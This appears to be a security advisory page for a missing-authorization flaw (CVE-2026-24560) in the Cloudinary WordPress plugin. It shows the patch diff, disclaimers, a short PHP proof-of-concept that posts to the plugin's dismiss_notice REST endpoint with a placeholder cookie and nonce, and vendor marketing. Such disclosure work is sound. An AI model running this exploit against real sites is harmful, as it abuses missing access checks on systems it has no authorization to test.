--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/ui/component/class-progress-sync.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/ui/component/class-progress-sync.php
@@ -34,8 +34,9 @@
 	protected function wrap( $struct ) {
 		$struct = parent::wrap( $struct );
 		if ( true === $this->setting->get_param( 'poll' ) ) {
-			$struct['attributes']['data-url']  = Utils::rest_url( REST_API::BASE . '/stats' );
-			$struct['attributes']['data-poll'] = true;
+			$struct['attributes']['data-url']   = Utils::rest_url( REST_API::BASE . '/stats' );
+			$struct['attributes']['data-poll']  = true;
+			$struct['attributes']['data-nonce'] = wp_create_nonce( REST_API::NONCE_KEY );
 		}

 		return $struct;
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/ui-definitions/settings-image.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/ui-definitions/settings-image.php
@@ -208,25 +208,6 @@
 						'description'        => __( 'Enable SVG support.', 'cloudinary' ),
 						'default'            => 'off',
 					),
-					array(
-						'type'    => 'crops',
-						'slug'    => 'crop_sizes',
-						'title'   => __( 'Crop and Gravity control (beta)', 'cloudinary' ),
-						'enabled' => static function () {
-							/**
-							 * Enable the Crop and Gravity control settings.
-							 *
-							 * @hook  cloudinary_enable_crop_and_gravity_control
-							 * @since 3.1.3
-							 * @default {false}
-							 *
-							 * @param $enabeld {bool} Is the Crop and Gravity control enabled?
-							 *
-							 * @retrun {bool}
-							 */
-							return apply_filters( 'cloudinary_enable_crop_and_gravity_control', true );
-						},
-					),
 				),
 			),
 			array(
@@ -252,6 +233,30 @@
 			),
 		),
 		array(
+			'type'       => 'crops',
+			'slug'       => 'crop_sizes',
+			'title'      => __( 'Crop and Gravity control (beta)', 'cloudinary' ),
+			'attributes' => array(
+				'wrap' => array(
+					'style' => 'max-width: 1000px;',
+				),
+			),
+			'enabled'    => static function () {
+				/**
+				 * Enable the Crop and Gravity control settings.
+				 *
+				 * @hook  cloudinary_enable_crop_and_gravity_control
+				 * @since 3.1.3
+				 * @default {false}
+				 *
+				 * @param $enabeld {bool} Is the Crop and Gravity control enabled?
+				 *
+				 * @retrun {bool}
+				 */
+				return apply_filters( 'cloudinary_enable_crop_and_gravity_control', true );
+			},
+		),
+		array(
 			'type'  => 'info_box',
 			'icon'  => $this->dir_url . 'css/images/academy-icon.svg',
 			'title' => __( 'Need help?', 'cloudinary' ),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24560 - Cloudinary <= 3.3.0 - Missing Authorization

<?php

$target_url = 'https://vulnerable-site.com';
$cookie = 'wordpress_logged_in_abc=...';
$nonce = 'valid_rest_nonce';

// Target the vulnerable REST endpoint
$endpoint = '/wp-json/cloudinary/v1/dismiss_notice';
$url = $target_url . $endpoint;

// Prepare headers with authentication
$headers = [
    'Cookie: ' . $cookie,
    'X-WP-Nonce: ' . $nonce,
    'Content-Type: application/json'
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check result
if ($http_code === 200) {
    echo "[+] Exploit successful! Admin notice dismissed.n";
    echo "Response: " . $response . "n";
} else {
    echo "[-] Exploit failed. HTTP Code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School